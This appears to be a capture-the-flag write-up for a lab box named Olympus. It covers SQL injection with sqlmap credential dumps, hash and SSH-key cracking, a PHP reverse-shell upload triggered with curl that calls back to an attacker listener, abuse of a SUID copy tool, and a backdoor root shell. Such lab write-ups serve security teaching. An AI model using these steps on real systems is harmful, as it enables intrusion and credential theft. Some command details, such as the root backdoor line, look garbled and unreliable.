SQL injection in a CMS search field dumps credentials and reveals a hidden chat subdomain.
Uploading a PHP reverse shell through the chat app, then recovering the randomized filename via SQLI,
gives us a foothold as www-data.
A custom SUID binary (cputils) lets us copy the SSH private key
of zeus, and a hidden backdoor SUID script escalates to root.
Starting with an Nmap scan to identify open services:
$ nmap -sCV -T4 10.10.154.58
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
| ssh-hostkey:
| 3072 0a:78:14:04:2c:df:25:fb:4e:a2:14:34:80:0b:85:39 (RSA)
| 256 8d:56:01:ca:55:de:e1:7c:64:04:ce:e6:f1:a5:c7:ac (ECDSA)
|_ 256 1f:c1:be:3f:9c:e7:8e:24:33:34:a6:44:af:68:4c:3c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://olympus.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)
→ SSH on 22, HTTP on 80. Redirects to http://olympus.thm
The HTTP service redirects to http://olympus.thm.
After adding the domain to /etc/hosts, we can access the site.
Running Gobuster to discover hidden directories:
$ gobuster dir -u http://olympus.thm -w /usr/share/seclists/Discovery/Web-Content/common.txt
/.htpasswd (Status: 403) [Size: 276]
/.htaccess (Status: 403) [Size: 276]
/.hta (Status: 403) [Size: 276]
/index.php (Status: 200) [Size: 1948]
/javascript (Status: 301) [--> http://olympus.thm/javascript/]
/phpmyadmin (Status: 403) [Size: 276]
/server-status (Status: 403) [Size: 276]
/static (Status: 301) [--> http://olympus.thm/static/]
/~webmaster (Status: 301) [--> http://olympus.thm/~webmaster/]
→ /~webmaster is the interesting directory here.
Navigating the /~webmaster directory reveals a CMS with a search function.
Testing with ' and '' confirms SQL injection.
Saving the request and feeding it to sqlmap:
$ sqlmap -r sqlrequest.txt --level 5 --risk 3 --dump The dump reveals user credentials and a flag:
+---------+------------+-----------+------------------------+-------------------------------+
| user_id | user_name | user_role | user_email | user_password (bcrypt) |
+---------+------------+-----------+------------------------+-------------------------------+
| 3 | prometheus | User | prometheus@olympus.thm | $2y$10$YC6uoMwK9VpB5QL513vf… |
| 6 | root | Admin | root@chat.olympus.thm | $2y$10$lcs4XWc5yjVNsMb4CUBG… |
| 7 | zeus | User | zeus@chat.olympus.thm | $2y$10$cpJKDXh2wlAI5KlCsUaL… |
+---------+------------+-----------+------------------------+-------------------------------+
flag{…} ← first flag found in the database
Cracking the hashes with John the Ripper yields the password for prometheus:
prometheus : summertime
The SQL dump also reveals a second domain: chat.olympus.thm
(visible in the user email fields). The chat messages mention an upload folder with randomized filenames:
| 2022-04-05 | Attached : prometheus_password.txt | 47c3210d51761686f3af40a875eeaaea.txt | prometheus |
| 2022-04-05 | This looks great! I tested an upload | <blank> | prometheus |
| | and found the upload folder, but it | | |
| | seems the filename got changed... | | |
| 2022-04-06 | The IT guy used a random file name | <blank> | zeus |
| | function to make it harder for | | |
| | attackers to access uploaded files. | | |
After adding chat.olympus.thm to /etc/hosts
and logging in as prometheus:summertime, the chat application allows
unrestricted file uploads. We upload a
Pentest Monkey PHP reverse shell.
Running Gobuster on the chat subdomain confirms the /uploads directory:
$ gobuster dir -u http://chat.olympus.thm -w /usr/share/seclists/Discovery/Web-Content/common.txt
/.htaccess (Status: 403) [Size: 281]
/.htpasswd (Status: 403) [Size: 281]
/.hta (Status: 403) [Size: 281]
/index.php (Status: 302) [--> login.php]
/javascript (Status: 301) [--> http://chat.olympus.thm/javascript/]
/phpmyadmin (Status: 403) [Size: 281]
/server-status (Status: 403) [Size: 281]
/static (Status: 301) [--> http://chat.olympus.thm/static/]
/uploads (Status: 301) [--> http://chat.olympus.thm/uploads/]
The uploaded file is renamed randomly, so we cannot simply browse to it. The trick: run
sqlmap again to dump the chat table and recover the randomized filename:
| 2023-02-26 | Attached : shell.php | 2b270295ba66b09615a57f040108b42f.php | prometheus |
→ Our uploaded shell was renamed to 2b270295ba66b09615a57f040108b42f.php Start a netcat listener and trigger the reverse shell by navigating to the uploaded file:
$ curl http://chat.olympus.thm/uploads/2b270295ba66b09615a57f040108b42f.php
# on our listener:
listening on [any] 9093 ...
connect to [10.11.23.126] from (UNKNOWN) [10.10.154.58] 46494
Linux olympus 5.4.0-109-generic #123-Ubuntu SMP
uid=33(www-data) gid=33(www-data) groups=33(www-data),7777(web)
→ We have a shell as www-data.
As www-data we can read zeus's files but not the
.ssh directory. Searching for unusual SUID binaries reveals
/usr/bin/cputils — a custom tool that copies any file to a
user-chosen destination. We use it to exfiltrate zeus's SSH private key:
$ find / -perm -4000 -type f 2>/dev/null
...
/usr/bin/cputils ← non-standard SUID binary
$ cputils
# copies /home/zeus/.ssh/id_rsa to /tmp/id_rsa
The private key is passphrase-protected. Converting with ssh2john and cracking
with John the Ripper:
$ ssh2john id_rsa > sshhash
$ john --wordlist=/usr/share/wordlists/rockyou.txt sshhash --fork=3
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2
Cost 2 (iteration count) is 16
snowflake (id_rsa)
$ ssh -i id_rsa zeus@olympus.thm
Enter passphrase for key 'id_rsa': snowflake
Last login: Sat Jul 16 07:52:39 2022
zeus@olympus:~$
As zeus, we search for files owned by our user and discover
interesting files in the web root:
$ find /var/www/html -user zeus 2>/dev/null
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
# Reading the PHP file reveals a backdoor reverse shell
# that listens for incoming connections via a SUID binary. The PHP script is a backdoor that provides a root shell when triggered with the right command. From the zeus SSH session:
$ uname -a; w; $suid_bd /lib/defended/libc.so.99
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),1000(zeus)
→ Root shell obtained. After gaining root, there is one more hidden flag. Searching the entire filesystem:
# find / -type f -exec grep 'flag{' {} + 2>/dev/null
/etc/ssl/private/.b0nus.fl4g:flag{…}
→ Hidden bonus flag found in /etc/ssl/private/